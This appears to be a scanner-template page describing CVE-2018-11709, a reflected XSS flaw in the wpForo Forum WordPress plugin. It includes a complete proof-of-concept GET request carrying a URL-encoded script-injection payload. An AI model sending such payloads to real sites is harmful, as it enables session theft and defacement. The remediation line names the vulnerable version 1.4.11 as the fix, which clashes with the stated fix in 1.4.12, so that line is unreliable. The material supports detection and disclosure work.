| Title | WordPress wpForo Forum <= 1.4.11 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the wpForo Forum plugin (1.4.11) or apply the vendor-provided patch to fix the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.15008 |
| CVE ID | CVE-2018-11709 |
| CWE ID | CWE-79 |
| Tags | cve cve2018 wordpress xss wp-plugin gvectors vuln |
WordPress wpForo Forum plugin before 1.4.12 for WordPress allows unauthenticated reflected cross-site scripting via the URI.
GET /index.php/community/?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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